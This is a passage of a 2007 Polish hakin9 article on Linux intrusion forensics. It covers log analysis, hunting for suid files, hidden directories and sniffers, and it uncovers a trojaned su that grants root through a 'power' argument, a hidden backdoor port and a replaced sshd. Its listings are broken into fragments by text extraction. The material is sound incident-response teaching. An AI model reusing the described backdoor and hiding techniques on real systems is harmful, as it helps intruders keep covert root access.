nie  więcej  śladów  pozostawionych 

przez  intruza  i  szybciej  przywró-
cić  sprawność  dla  systemu.  Bardzo 
ważną  sprawą  przy  detekcji  intru-

Po czym poznać, że dokonano włamania?

•   nagły wzrost obciążenia Sieci,
•   nagły wzrost zużycia procesora,
•   nagłe zmniejszenie ilości wolnej pamięci operacyjnej,
•   nagłe zmniejszenie ilości wolnej pamięci dyskowej,
•   karty sieciowe ustawione w tryb nasłuchu,
•   usunięte lub zmienione pliki protokołowania,
•   zmienione/usunięte pliki utmp/wtmp/btmp (dzienniki logowań do systemu),
•   nowi użytkownicy w systemie o nazwach zbliżonych do standardowych,
•   uruchomione obce procesy lub procesy o nazwach zbliżonych do standardowych,
•   wszelkie pliki i katalogi o ukrytych nazwach,
•   zmieniony baner usług takich jak smtp/ftp etc.,
•   zmieniona strona główna serwera,
•   zmodyfikowane pliki wykonywalne typu ls/netstat etc.,
•   wszelkie dziwne zachowania systemu i Sieci mogą świadczyć o nie do końca po-

żądanym gościu...

Listing 1. 

Skrypt wykorzystany do logowania zajętości dysku

#!/bin/bash

x

=

0

;

until

 

[

 $

x

 

-

ge

  

2880

 

];

 

do

x

=

$

[

x

 

+

 

1

]

echo

 

--------------[

 

Zalogowano

:-------

`

date

 

+%

D

+[%

T

]

`

-----------------

 

>>

 

test

-

hdd

.

log

who

 

-

l

 

>>

 

test

-

hdd

.

log

echo

 

>>

 

test

-

hdd

.

log

echo

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

>>

 

test

-

hdd

.

log

w

 

-

h

 

-

f

 

>>

 

test

-

hdd

.

log

echo

 

>>

 

test

-

hdd

.

log

echo

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

>>

 

test

-

hdd

.

log

df

 

-

h

 

>>

 

test

-

hdd

.

log

echo

 

>>

 

test

-

hdd

.

log

echo

 

--------------[

 

Zalogowano

:-------

`

date

 

+%

D

+[%

T

]

 `

-----------------

 

>>

 

test

-

ps

.

log

echo

 

>>

 

test

-

ps

.

log

ps

 

ua

 

>>

 

test

-

ps

.

log

echo

 

>>

 

test

-

ps

.

log

sleep

 30

s

done

Listing 2. 

Fragment danych z pliku logów

--------------[

 

Zalogowano

:-------

07

/

11

/

07

+[

20

:

46

:

00

]-----------------

...

Filesystem

            

Size

  

Used

 

Avail

 

Use

%

 

Mounted

 

on

/

dev

/

hda1

              26

G

   14

G

   11

G

  

57

%

 /

...

--------------[

 

Zalogowano

:-------

07

/

11

/

07

+[

20

:

53

:

31

]-----------------

...

/

dev

/

hda1

              26

G

   14

G

   11

G

  

58

%

 /

...

--------------[

 

Zalogowano

:-------

07

/

11

/

07

+[

21

:

02

:

04

]-----------------

...

/

dev

/

hda1

              26

G

   15

G

  

9

,8

G

  

60

%

 /

...

--------------[

 

Zalogowano

:-------

07

/

11

/

07

+[

21

:

05

:

35

]-----------------

...

/

dev

/

hda1

              26

G

   14

G

   11

G

  

57

%

 /

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

39

za  jest  także  obserwacja  typowych 
grup dyskusyjnych dotyczących bez-
pieczeństwa  –  bugtraq  (http://www.
securityfocus.com/archive/1)
, vulne-
rabilities  (http://www.securityfocus.
com/vulnerabilities)
 etc. Obserwacja 
ta pozwala nam poszukiwać charak-
terystycznych zapisów w logach sys-
temowych, które mogą być powodo-
wane  próbami  wykorzystania  świe-
żo odkrytych podatności – gdy intruz 
ma 6 godzin na działanie, wyrządzi 
znacznie mniej szkód niż gdyby miał 
tego  czasu  60  godzin...  Im  szybciej 
zadziałamy, tym lepiej.

Przypadek I 

– działania operacyjne

Przypadek pierwszy opisujący dzia-
łania operacyjne.

Intruz A

Użytkując system w sposób całkowi-
cie normalny, przy stałym ruchu sieci, 
zauważamy  pewne  anomalie  –  sys-
tem  momentami  przestaje  odpowia-
dać,  po  czym  bardzo  wolno  pracuje 
– wskazuje zajętość pamięci swap po-
mimo  wystarczająco  dużej  ilości  pa-
mięci RAM. W czym leży problem...? 
Prawdopodobnie  w  intensywnej  pra-
cy  dysków  twardych.  Przed  przystą-
pieniem do poszukiwań śladów nale-
ży koniecznie wyłączyć wszelkie usłu-
gi sieciowe. Najlepiej uczynić to wyci-
nając cały ruch zewnętrzny, przycho-
dzący – stosując np. iptables. Zatem 
do dzieła. Po pierwsze sprawdzamy, 

Listing 3. 

Ważne dane z pliku messages oraz syslog

[

root

@

proxima

:

/

var

/

log

]

# cat syslog|grep sshd|grep error

Jul

 

11

 

00

:

47

:

13

 

proxima

 

sshd

[

9758

]:

 

error

:

 

Could

 

not

 

get

 

shadow

 

information

 

for

 

NOUSER

Jul

 

11

 

00

:

47

:

42

 

proxima

 

sshd

[

11266

]:

 

error

:

 

Could

 

not

 

get

 

shadow

 

information

 

for

 

NOUSER

[

root

@

proxima

:

/

var

/

log

]

# cat messages|grep in.identd|grep ERROR

Jul

 

11

 

00

:

47

:

00

 

proxima

 

in

.

identd

[

7981

]:

 

reply

 

to

 

201.98

.

XX

.

XX

:

 

0

 , 

0

 

:

 

ERROR

:

 

INVALID

-

PORT

Jul

 

11

 

00

:

47

:

05

 

proxima

 

in

.

identd

[

7981

]:

 

reply

 

to

 

201.98

.

XX

.

XX

:

 

0

 , 

0

 

:

 

ERROR

:

 

UNKNOWN

-

ERROR

Jul

 

11

 

00

:

47

:

07

 

proxima

 

in

.

identd

[

7981

]:

 

reply

 

to

 

201.98

.

XX

.

XX

:

 

8118

 , 

51236

 

:

 

USERID

 

:

 

OTHER

 

:

100

Jul

 

11

 

00

:

47

:

07

 

proxima

 

in

.

identd

[

7981

]:

 

reply

 

to

 

201.98

.

XX

.

XX

:

 

6000

 , 

47236

 

:

 

USERID

 

:

 

OTHER

 

:

0

Jul

 

11

 

00

:

47

:

10

 

proxima

 

in

.

identd

[

7981

]:

 

reply

 

to

 

201.98

.

XX

.

XX

:

 

22

 , 

33395

 

:

 

ERROR

:

 

UNKNOWN

-

ERROR

[

root

@

proxima

:

/

var

/

log

]

cat

 

messages

|

grep

 

sshd

|

grep

 

Jul

|

grep

 

00

:

47

Jul

 

11

 

00

:

47

:

13

 

proxima

 

sshd

[

9758

]:

 

Invalid

 

user

 

n3ssus

 

from

 

201.98

.

XX

.

XX

Jul

 

11

 

00

:

47

:

13

 

proxima

 

sshd

[

9758

]:

 

Failed

 

none

 

for

 

invalid

 

user

 

n3ssus

 

from

 

201.98

.

XX

.

XX

 

port

 

34171

 

ssh2

Jul

 

11

 

00

:

47

:

13

 

proxima

 

sshd

[

9758

]:

 

Failed

 

password

 

for

 

invalid

 

user

 

n3ssus

 

from

 

201.98

.

XX

.

XX

 

port

 

34171

 

ssh2

Jul

 

11

 

00

:

47

:

42

 

proxima

 

sshd

[

11264

]:

 

Failed

 

password

 

for

 

root

 

from

 

201.98

.

XX

.

XX

 

port

 

36275

 

ssh2

Jul

 

11

 

00

:

47

:

42

 

proxima

 

sshd

[

11273

]:

 

Failed

 

password

 

for

 

bin

 

from

 

201.98

.

XX

.

XX

 

port

 

36283

 

ssh2

Jul

 

11

 

00

:

47

:

43

 

proxima

 

sshd

[

11292

]:

 

Protocol

 

major

 

versions

 

differ

 

for

 

201.98

.

XX

.

XX

:

 

SSH

-

1.99

-

OpenSSH_4

.6

 

vs

SSH

-

9.9

-

NessusSSH_1

.0

Jul

 

11

 

00

:

47

:

43

 

proxima

 

sshd

[

11287

]:

 

Invalid

 

user

 

guest

 

from

 

201.98

.

XX

.

XX

Rysunek 1. 

Okno raportu programu nessus

Niejedna droga prowadzi do...

Musisz zrozumieć, że zarówno atak, jak i późniejsze działania intruza w systemie za 
każdym  razem  wyglądają  zupełnie  inaczej.  Nawet  jedna  osoba  nie  przeprowadza 
dwóch ataków w sposób identyczny – związane jest to z wieloma czynnikami, od ta-
kiego najbardziej ludzkiego – pamięci, do typowo technicznych przyczyn związanych z 
zanikami prądu, różnymi sposobami działania sieci, niepowtarzalną pracą komputera 
zarówno intruza, jak i obiektu ataku oraz szeregiem innych powodów. Dlatego też nie 
istnieje jeden przepis na wykrywanie intruza – jedynie pewne sposoby i ścieżki który-
mi będziesz musiał podążać, by rozwijać swą wiedzę.

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

40

co powoduje takie wahania pracy pro-
cesora, pamięci i dysku – z doświad-
czenia wiem, że podobne efekty daje 
zapis dużych plików na dysku. Warto 
zatem sprawdzić, czy nikt nie zapisu-
je czegoś ponad normę na dysku. Być 
może  są  jakieś  specjalne,  wyrafino-
wane sposoby – my zastosujemy na-
tomiast  metodę  bardzo  prostą:  napi-
szemy króciutki program, który będzie 
logował wyniki poleceń df, w* oraz ps 
co 30 sekund przez 24 godziny, acz-
kolwiek  często  około  godzina  pracy 
wystarcza  aby  dostrzec  dziwną  pra-
cę dysków.

Po uruchomieniu skryptu i analizie 

danych zwróconych nam przez system 
jesteśmy w stanie zauważyć, iż – nie li-
cząc zmian spowodowanych przez le-
galnych  użytkowników  –  między  go-
dziną 20:46 a 21:06 na dysku pojawi-
ło nam się nagle około 1GB danych po 
czym równie nagle znikło. Jest to bar-
dzo typowe zachowanie – włamywacz 
prawdopodobnie  umieścił  na  dysku 
dane wykorzystywane do innych ata-
ków lub pochodzące z ataku, a w celu 
podniesienia swojego bezpieczeństwa 
wykorzystał  nasz  komputer  jako  po-
średnika – być może planuje całkowite 
usunięcie danych z naszego dysku ja-
ko skuteczną metodę ochrony?

Dlaczego  to  działanie  zwróci-

ło  moją  uwagę?  Z  prostej  przyczy-
ny,  komputer  działa  tylko  i  wyłącz-
nie  jako  serwer  http,  a  standardo-
wy  ruch  na  dysku  zazwyczaj  oscy-
lował  w  granicach  200MB/godzinę 
po założeniu konta dla nowego użyt-
kownika,  w  innych  wypadkach  oko-
ło  40MB/godzinę.  Mając  pewność, 
że  ktoś  korzysta  z  naszego  syste-
mu, warto sprawdzić, czy nie zosta-

ły  zmodyfikowane  ważniejsze  pliki 
konfiguracyjne (zakładam, że czytel-
nik  wykonuje  kopie  zapasowe  waż-
nych danych i plików). Chciałbym za-
uważyć w tym miejscu, że w dalszej 
części artykułu nie zakładam, że ja-
kiekolwiek przydatne informacje bez-
pośrednio  wskazujące  na  obecność 
intruza (zalogowanie do systemu na 
konto  root,  zalogowanie  do  syste-
mu na konto nowego użytkownika z 
prawami  roota)  pozostały  w  plikach 
systemowych typu utmp/wtmp/btmp/
lastlog, gdyż w każdym artykule un-
dergroundowym poruszane są tema-
ty  dotyczące  czyszczenia  tych  pli-
ków. Jedynie fakt, iż zostały one mo-
dyfikowane, może potwierdzać obec-
ność niepożądanych osób w naszym 
systemie,  ale  dotyczy  to  tylko  intru-
zów z małym zasobem wiedzy, gdyż 
osoby  zaawansowane  są  w  stanie 
tak  ukryć  swoją  obecność,  aby  nikt 
nie  podejrzewał  włamania.  Pomimo 
to  często  zdarza  się,  że  intruz  zna-
komicie ukrył swoją obecność w sys-
temie, lecz zostawił także dużą ilość 
śladów pochodzących z okresu bez-
pośrednio  poprzedzającego  atak 
(krok  1  działań  napastnika).  Z  te-
go  powodu  poddajemy  analizie  pliki 
/var/log/messages
 i syslog.

Po analizie plików dziennika syste-

mowego mamy już pewność, że dnia 
11 lipca od godziny około 00:30 intruz 
rozpoczął  atak  polegający  na  rozpo-
znaniu naszego systemu. W tym celu 
wykorzystał oprogramowanie nessus 
z serwerem znajdującym się na kom-
puterze  o  adresie  IP  201.98.XX.XX. 
Wychodząc  z  założenia,  że  należy 
wiedzieć  jak  najwięcej  o  ataku,  pro-
ponuję  wykonanie  testu  za  pomocą 

tego samego oprogramowania z któ-
rego korzystał intruz (nessus dostęp-
ny na stronie nessus.org) – da nam to 
obraz  systemu,  z  jakim  zapoznał  się 
włamywacz przed włamaniem i w je-
go początkowej fazie. Być może wpły-
nęło to w jakiś sposób na jego decyzje 
i działania. Ważnym także śladem jest 
adres IP równy 201.98.XX.XX – być 
może jest to adres komputera, z któ-
rego  nastąpił  atak.  Warto  go  zacho-

Listing 4. 

Wyniki poleceń last*

[

root

@

proxima

:

/

home

/

art

]

# lastlog

Username

         

Port

     

From

             

Latest

root

             

tty1

                      

czw

 

lip

  

5

 

22

:

30

:

56

 

+

0200

 

2007

bin

                                        

**

Never

 

logged

 

in

**

....

nobody

                                     

**

Never

 

logged

 

in

**

art

            

tty1

                      ś

ro

 

czer

 

6

 

12

:

04

:

39

 

+

0200

 

2007

[

root

@

proxima

:

/

home

/

octiv

]

# last|grep art|wc -l

36

[

root

@

proxima

:

/

home

/

art

]

# last

...

wtmp

 

begins

 

Thu

 

Jan

  

18

 

14

:

48

:

15

 

2007

Ukryte nazwy

Często  stosowaną  metodą  ukrywania 
katalogów jest nadawanie im ukrytych 
nazw, oto typowe przykłady:

(we wszystkich katalogach / ):

•   ”. ”
•   ” .”
•   ” ”
•   ”.. ”
•   ” ..”
•   ”...”
•   ”... ”
•   ” ...”

Typowymi  miejscami  ukrywania  folde-
rów są katalogi:

•   /dev
•   /etc
•   /usr/local/etc
•   /boot
•   /lib
•   /tmp

Krok po kroku

•   analiza plików dziennika,
•   analiza użytkowników i grup,
•   analiza niepoprawnej przynależno-

ści grupowej,

•   analiza praw dostępu do plików,
•   analiza  najważniejszych  plików 

systemowych,

•   analiza procesów systemowych,
•   analiza usług uruchamianych przez 

cron at,

•   poszukiwanie i analiza plików z bi-

tem suid/sgid,

•   analiza  konfiguracji  sieci  i  ruchu 

sieciowego,

•   analiza usług sieciowych,
•   poszukiwanie ukrytych plików i ka-

talogów,

•   analiza  polityki  bezpieczeństwa 

firewalla.

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

41

wać,  gdyż  może  znacznie  pomóc  w 
poszukiwaniu innych śladów – mamy 
pewien punkt odniesienia.

Następnym  krokiem  będzie  ana-

liza  konfiguracji  serwera.  Wykonując 
serie  porównań  (oczywiście  można 
tę  czynność  zautomatyzować  skryp-
tami  konsolowymi,  do  czego  zachę-
cam) odkryłem modyfikację pliku sha-
dow.
 Spowodowane to może być fak-
tem zmiany hasła przez użytkownika 
lub zmianą hasła wykonaną przez in-
truza w celu posiadania legalnego do-
stępu do serwera. Mając nowy obiekt 
zainteresowania,  należy  zbadać,  czy 
ktoś  logował  się  w  ostatnim  czasie 
na  dane  konto  w  celu  zmiany  hasła, 
oraz jak często logował się do tej po-
ry i na podstawie tych danych osza-
cować  prawdopodobieństwo  zmiany 
hasła przez intruza. W tym celu przy-
glądamy się wynikom polecenia 

last

 

i

 lastlog

 – w okresie ponad pół roku 

użytkownik logował się 36 razy, z cze-
go ostatni raz ponad miesiąc temu. Ze 
względu na fakt, iż jest to konto legal-
nego użytkownika, wykluczam możli-
wość usunięcia części danych na te-
mat logowań, a wyniki wydają się być 
wiarygodne.  Mając  te  dane,  oraz  z 
faktu, że konto było względnie rzadko 
używane  wnioskuję,  że  hasło  zosta-
ło zmienione przez naszego gościa w 
ostatnim czasie z konta roota.

Informacje  te  potwierdzają  fakt 

uzyskania  przez  intruza  pełnej  kon-
troli  nad  systemem  i  podejrzewam, 
że  spróbuje  on  ją  odzyskać,  stosu-
jąc  już  mniej  inwazyjne  metody.  Po 
pierwsze  należy  sprawdzić,  czy  nie 
mamy  otwartych  portów  TCP/IP  in-
nych  niż  te,  na  które  sami  wyrazi-
liśmy  zgodę.  W  tym  celu  wykorzy-
stamy  nmap'a:

  nmap  -sT  -p-  -P0 

127.0.0.1

  i  po  chwili  widzimy,  że  in-

truz nie zostawił za sobą nic widocz-
nego  z  zewnątrz  (warto  dodać,  że 
zaawansowani  włamywacze  stosują 
często metodę port knockingu w celu 
wywoływania backdoora). Idąc dalej 
ścieżką poszukiwań poddajemy ana-
lizie wszystkie pliki z ustawionym bi-
tem suid/guid:

find / -user root -perm -4000 -print;
find / -perm -4000 -print;
find / -perm -2000 -print;

Listing 5. 

Fragment /var/log/messages

[root@proxima:/var/log]

# cat messages|grep sshd

...

Jul 8 12:16:32 proxima sshd[7178]: Received signal 15; terminating.
Jul 8 12:17:36 proxima sshd[7190]: Server listening on :: port 22.

Jul 8 12:21:44 proxima sshd[3013]: Failed password 

for

 dek from 80.22.XX.XX 

port 48023 ssh2

Jul 8 12:22:21 proxima sshd[3025]: Accepted password 

for

 dek from 80.22.XX.XX 

port 48039 ssh2

...

Listing 6. 

Wynik działania skryptu for...

...
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3316/exe -> /bin/bash*
lrwxrwxrwx 1 root root 0 2007-07-09 14:04 3330/exe -> /opt/nessus/

sbin/nessusd*

lrwxrwxrwx  1  root  root  0  2007-07-09  14:04  3458/exe  ->  /usr/sbin/

httpd*

lrwxrwxrwx  1  root  root  0  2007-07-09  14:04  3621/exe  ->  /usr/sbin/

in.identd*

lrwxrwxrwx 1 root root 0 2007-07-9 14:04 3626/exe -> /usr/sbin/.sfni*

Listing 7. 

Wynik ręcznego  poszukiwania snifferów za pomocą lsof

[root@proxima:/]# lsof|head -1;lsof | awk '$5=="sock" {print}'
COMMAND    PID     USER   FD      TYPE     DEVICE     SIZE          
NODE       NAME
udevd       934       root    5u     sock        0,4                1896 

can't identify protocol

...

  .sfni          1917       root    3u    sock        0,4              381413 

can't identify protocol

...
httpd        2751       root    4u     sock        0,4               13632 

can't identify protocol

httpd        2777     apache    4u     sock        0,4               13632 

can't identify protocol

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

42

Polecenia  te  w  wyniku  dają  stan-
dardowe pliki z katalogów /bin, /sbin 
etc. oraz plik o nazwie hdv11 z kata-
logu /dev – kolejny ślad. Plik ten au-
tomatycznie staje się dla nas podej-
rzanym, gdyż katalog /dev jest kata-
logiem urządzeń naszego serwera i 
nie powinny znajdować się tam żad-
ne pliki wykonywalne, a już w szcze-
gólności  z  ustawionym  bitem  suid. 
Z konsoli roota wydajemy polecenie 

#strings  /dev/hdv11

,  a  w  rezultacie 

uzyskujemy  drukowalne  ciągi  zna-
ków z pliku wykonywalnego. Po krót-
kim zapoznaniu się z wynikami jeste-
śmy w stanie wywnioskować, iż jest 
to bliżej nieokreślona wersja progra-
mu su – dającego m. in. uprawnienia 
roota.  Z  konta  użytkownika  urucha-

miamy ten plik i możemy się przeko-
nać, że mieliśmy rację. Sprawdzamy 
teraz, co stało się z oryginalnym pro-
gramem – krótka analiza (lsstrings
i  widzimy,  że  w  katalogu  /bin  znaj-
duje  się  plik  zmodyfikowany.  W  re-
zultatach  strings  widniał  dodatkowy 
napis  power,  a  po  wydaniu  komen-
dy

 $su power

, uzyskujemy uprawnie-

nia z id=0 oraz gid=0 bez podawa-
nia hasła.

W  taki  oto  sposób  intruz  zabez-

pieczył sobie możliwość poszerzenia 
uprawnień do poziomu root. Kolejny 
sukces. Warto zwrócić uwagę, że do 
metod  mniej  zaawansowanych,  a 
często  wykorzystywanych  do  uzy-
skania  ponownie  konta  super-użyt-
kownika, należą:

•   stosowanie  backdoorów  wyko-

rzystujących  zwykłe  porty  TCP/
UDP. Wykrywanie tego typu na-
rzędzi ogranicza się do przeska-
nowania wszystkich portów i ba-
dania poszczególnych usług,

•   tworzenie  kont  użytkowników 

o  nazwach:  deamon  (oryg.  da-
emon
),  sycn  (oryg.  sync),  shu-
down
  (oryg.  shutdown),  opear-
tor
 (oryg. operator), smmp (oryg. 
smmsp
), mesagebus (oryg. mes-
sagebus
), haltdeamon (oryg. hal-
deamon
)  itp.  Wykrywanie  tego 
typu  działań  polega  na  uważnej 
analizie plików passwd i shadow 
ze szczególnym uwzględnieniem 
użytkowników z UID=GID=0,

•   zezwolenie na tzw. zaufane po-

łączenia z maszyn zdalnych bez 
podawania  hasła  (oraz  wszel-
kie r-usługi). Wykrywanie w tym 
przypadku związane jest z anali-
zą wszelkich plików .r* dotyczą-
cych usług internetowych – .rho-
sts, hosts.equiv
,

•   zmodyfikowane usługi inetd dają-

ce dostęp do powłoki oraz konfi-
guracja  ssh  umożliwiająca  logo-
wanie bez hasła. Rozwiązaniem 
jest  analiza  pliku  inetd  i  skano-
wanie  jak  w  przypadku  wykry-
wania  backdoorów  oraz  dokład-
ne sprawdzenie konfiguracji ssh,

•   wszelkie  kombinacje  wyżej  opi-

sanych metod.

Warto sprawdzić, czy intruz nie pozo-
stawił po sobie plików lub narzędzi. Za-
zwyczaj szukanie tego typu rzeczy roz-
poczyna się od katalogu /tmp. Poszu-
kujemy przede wszystkim nazw okre-
ślonych  w  ramce,  gdyż  te  są  najczę-
ściej  stosowane  przez  włamywaczy. 
Sam etap poszukiwań i reagowania na 
wystąpienia takich katalogów pozwolę 
sobie pominąć. Jedyna podpowiedź z 
mojej strony wygląda następująco:

locate "..."
locate ".. "
locate ". "
locate " ."

itd.

Bez podawania – ze względu na try-
wialność  wykonania  –  sposobu,  pra-

Tabela 1. 

Porównanie fragmentu wyników polecenia strings na pliku su i hdv11

Wersja zmodyfikowana (/bin/su): Wersja oryginalna (/dev/hdv11):

Sorry.
power
/usr/share/locale
shadow
/dev/
%s: must be run from a terminal

- %s %s-%s
Sorry.
/usr/share/locale
shadow
/dev/
ENV_TZ

Listing 8. 

Poszukiwanie podejrzanych procesów

[

root

@

proxima

:

~

]

# ps uxa

USER

       

PID

 

%

CPU

 

%

MEM

    

VSZ

   

RSS

 

TTY

      

STAT

 

START

   

TIME

 

COMMAND

..

dek

     

4277

  

0.0

  

0.8

   

3812

  

2060

 

pts

/

1

    

Ss

+

  

01

:

57

   

0

:

00

 /

bin

/

bash

nobody

    

4291

  

0.0

  

0.4

  

52408

  

1176

 ?        

Ssl

  

01

:

57

   

0

:

00

 

in

.

identd

dek

     

4329

  

0.0

  

0.8

   

3808

  

2060

 

pts

/

2

    

Ss

   

02

:

00

   

0

:

00

 /

bin

/

bash

root

      

4354

  

0.0

  

0.1

   

1508

   

288

 

pts

/

0

    

S

+

   

02

:

02

   

0

:

00

 

klogd

 

-

D

...

Listing 9. 

Badanie portów za pomocą netstat

[

dek

@

proxima

:

~

]

netstat

 

-

nalp

...

Proto

 

Recv

-

Q

 

Send

-

Q

 

Local

 

Address

           

Foreign

 

Address

         

State

       

PID

/

Program

 

name

tcp

        

0

      

0

 

0.0

.

0.0

:

23456

           

0.0

.

0.0

:*

               

LISTEN

     

-

tcp

        

0

      

0

 

0.0

.

0.0

:

37

              

0.0

.

0.0

:*

               

LISTEN

     

-

tcp

        

0

      

0

 

0.0

.

0.0

:

6000

            

0.0

.

0.0

:*

               

LISTEN

     

-

...

Listing 10. 

Badanie portów za pomocą nmap'a

[

root

@

proxima

:

~

]

nmap

 

-

sT

 

-

p

-

 

-

PT

 

127.0

.

0.1

Starting

 

Nmap

 

4.20

 

(

 

http

:

//

insecure

.

org

 

)

 

at

 

2007

-

07

-

13

 

01

:

58

 

CEST

Not

 

shown

:

 

65528

 

closed

 

ports

PORT

      

STATE

 

SERVICE

23456

/

tcp

 

open

  

unknown

 

<-

 

port

 

zainteresowania

background image

Atak hakera na Twój komputer

hakin9 Nr 10/2007

www.hakin9.org

43

gnę  zauważyć,  że  bardzo  ważnym 
elementem  jest  sprawdzenie  tablicy 
uruchamianych  automatycznie  zadań 
– cron. Zdarza się, że intruz umiesz-
cza w niej np. polecenia włączenia ła-
mania haseł lub uruchomienia backdo-
ora. W naszym przypadku ważne mo-
że  być  także  wylistowanie  wszelkich 
otwartych  przez  użytkownika  art  pli-
ków. Czynimy to za pomocą polecenia

 

#lsof  -u  art

  i  poszukujemy  wszyst-

kiego, co na pierwszy rzut oka wyglą-
da  naturalnie,  a  nie  powinno  się  tam 
znajdować.  Kolejnym  krokiem  w  de-
tekcji  będzie  sprawdzenie  wszystkich 
ostatnio  modyfikowanych  plików  na 
naszym  komputerze.  Znalezienie  ich 
ogranicza  się  do  wydania  polecenia

 

find / -ctime -1 -print

. W tym przy-

padku, tak jak poprzednio, poszukuje-
my ważnych plików systemowych, któ-
rych nie sprawdziliśmy przy porówny-
waniu na wcześniejszym etapie. Szu-
kamy także plików nowo utworzonych 
i takich, których nazwy mogą sugero-
wać nam chęć ukrycia czegoś lub są 
zbliżone  do  nazw  systemowych.  Ca-
ły dalszy proces analizy opiera się na 
wykrywaniu  wszelkich  anomalii  i  po-
szukiwaniu  ich  źródła  oraz  powodów 
wystąpienia. Chciałbym teraz przejść 
do analizy przypadku drugiego. Decy-
duję się na pominięcie w tym momen-
cie pewnych metod i działań ze wzglę-
du na fakt, iż są wspólne dla obu przy-
padków i omówię je przy analizie dzia-
łań Intruza B. Tak więc zaczynamy.

Przypadek II 

– działania operacyjne

Przypadek drugi opisujący działania 
operacyjne.

Intruz B

Praca sieci i komputera nie była w ja-
kikolwiek sposób naruszana. Ciągłość 
działań  nie  pozwalała  nam  wniosko-
wać  o  jakichkolwiek  atakach  wymie-
rzonych w nasze maszyny. Pomimo to 
w trakcie analizy plików dziennika mo-
ją uwagę przykuł fakt widoczny na Li-
stingu 5. Jest to typowy przykład wy-
łączenia i ponownego włączenia usłu-
gi jaką jest sshd, a ze względu na czas 
(data  i  godzina  –  środek  dnia  w  nie-
dzielę)  wykonania  wnioskuję  natych-
miast,  że  zostało  naruszone  bezpie-

czeństwo systemu. W tym przypadku 
obecność intruza była praktycznie nie-
zauważalna, nie powodował on żadnej 
dziwnej  pracy  maszyny,  dlatego  też 
istniała spora możliwość przeoczenia 
tak  drobnego  faktu.  Pierwszym  kro-
kiem będzie oczywiście odcięcie ma-
szyny od tzw. reszty świata – wycina-
my, jak poprzednio, cały ruch przycho-
dzący z Internetu zezwalając na ruch 
z lokalnej maszyny oraz zabezpiecza-
my daemona sshd (np. w celu dalszej 
analizy – dla bardziej wnikliwych). Na-
stępnym  krokiem  będzie  przeszuka-
nie  serwera  w  celu  wykrycia  typo-
wych śladów. W jaki sposób to zrobić 
oraz jaki powinien być tok naszego po-
stępowania i myślenia – omówiłem w 
przypadku  intruza  A.  Pozostałe  tro-
py, którymi należy podążać, przedsta-
wiam w ramce Step by step – potrak-
tuj ją jako małą podpowiedź dotyczącą 
kierunku dalszych działań.

Niestety  –  intruz  ten  znakomicie 

ukrył  swoją  obecność,  a  mając  ten 
fakt  na  uwadze  proponuję  uznanie 
wyników wszelkich poleceń systemo-
wych  za  niewiarygodne.  Posiadając 
nowe założenie dotyczące naszej ma-
szyny należy sprawdzić prawdziwość 
wyników generowanych przez każde z 
poleceń systemowych. Można uczynić 
to na kilka sposobów. Jednym z nich 
jest  skorzystanie  z  narzędzi  typu  tri-
pwire  (http://sourceforge.net/projects/
tripwire/)
  –  oprogramowanie  to  two-
rzy  bazę  sum  kontrolnych  plików,  a 
następnie  porównuje  je  z  poprzed-
nio  zapisanymi  wartościami.  Rozwią-
zanie  jest  skuteczne,  jednak  wyma-
ga wcześniejszego wdrożenia, użycie 
go tylko po ataku nie ma sensu. Wia-
domym także jest, że nie gwarantuje 

stuprocentowej  skuteczności,  jednak 
w  przypadku  znakomitej  większości 
ataków sprawdza się doskonale (war-
to zainwestować czas we wdrożenie i 
poprawną konfigurację, na pewno się 
to zwróci). Z doświadczenia wiem, że 
rzadko  kto  używa  sprawdzania  sum 
kontrolnych – z lenistwa – dlatego al-
ternatywnie  proponuję  metodę  pole-
gającą na badaniu za pomocą poleceń

 

lsof

 oraz

 strings

 poszczególnych pli-

ków z następującej listy: login, su, tel-
net
, netstat, ifconfig, ls, find, du, df, libc, 
sync
 oraz wszystkich plików binarnych 
związanych z daemonem usług inetd
Działania  te  zajmą  na  pewno  sporo 
czasu, jednak sprawdzenie wiarygod-
ności  poleceń  systemowych  jest  dla 
nas sprawą priorytetową. Musisz szu-
kać wystąpień ciągów znaków wska-
zujących na jakiekolwiek modyfikacje 
– często będą to wbudowane sekret-
ne  hasła,  dodatkowe  opcje  linii  pole-
ceń gwarantujące ominięcie pewnych 
zabezpieczeń  lub  dające  prawa  su-
perużytkownika. Ze swojej strony mo-
gę powiedzieć, że na pewno w anali-
zowanym przypadku zostały w syste-
mie zmienione polecenia

 ls

 i

 ps

 oraz 

uruchomiono  całkowicie  nowego  da-
emona sshd (stąd jego zatrzymanie i 
ponowne  uruchomienie).  Wiemy  już, 
w  jaki  sposób  włamywacz  zapewnił 
sobie  możliwość  natychmiastowego 
uzyskania  konta  shell  z  prawami  ro-
ota – wykorzystał zmodyfikowane ssh, 
działanie które go zdradziło. Nie mo-
gąc  polegać  na  wyżej  wymienionych 
plikach  binarnych,  zalecam  całko-
witą  ich  wymianę  –  skompilowanie/
zainstalowanie  z  bezpiecznych  archi-
wów. Niestety, nie możemy mieć pew-
ności,  czy  po  tych  działaniach  odzy-

Rysunek 3. 

Podejrzany plik binarny

background image

hakin9 Nr 10/2007

www.hakin9.org

Atak

44

skamy  wiarygodność  wyników  pre-
zentowanych  przez  problematyczne 
polecenia. Intruz – oprócz samej mo-
dyfikacji plików binarnych – mógł za-
stosować narzędzia typu rootkit z za-
awansowanymi metodami ukrywania, 
nałożyć patche na kernel lub skompi-
lować  moduły  nadzorujące  i  filtrują-
ce wyniki poleceń. Działania prewen-
cyjne  proponuję  rozpocząć  od  zain-
stalowania narzędzia chkrootkit (http:
//www.chkrootkit.org)
 – wykrywa ono 
wiele  rootkitów  (ich  lista  znajduje  się 
na stronie projektu, stan na lipiec 2007 
– 63) i może okazać się bardzo przy-
datne.  My  jednak  nie  skorzystamy  z 
oferowanej  automatyzacji,  ale  w  ce-
lu  lepszego  zrozumienia  działań  ro-
otkitów, a jednocześnie poznania no-
wych metod przydatnych nie tylko do 
tego  zadania,  będziemy  wyszukiwali 
ręcznie. Po pierwsze, musimy spraw-
dzić, czy ilość katalogów w /proc zga-
dza się z ilością widocznych procesów 
(w taki sposób zbadamy, czy nasz no-
wo zainstalowany pakiet z poleceniem

 

ps

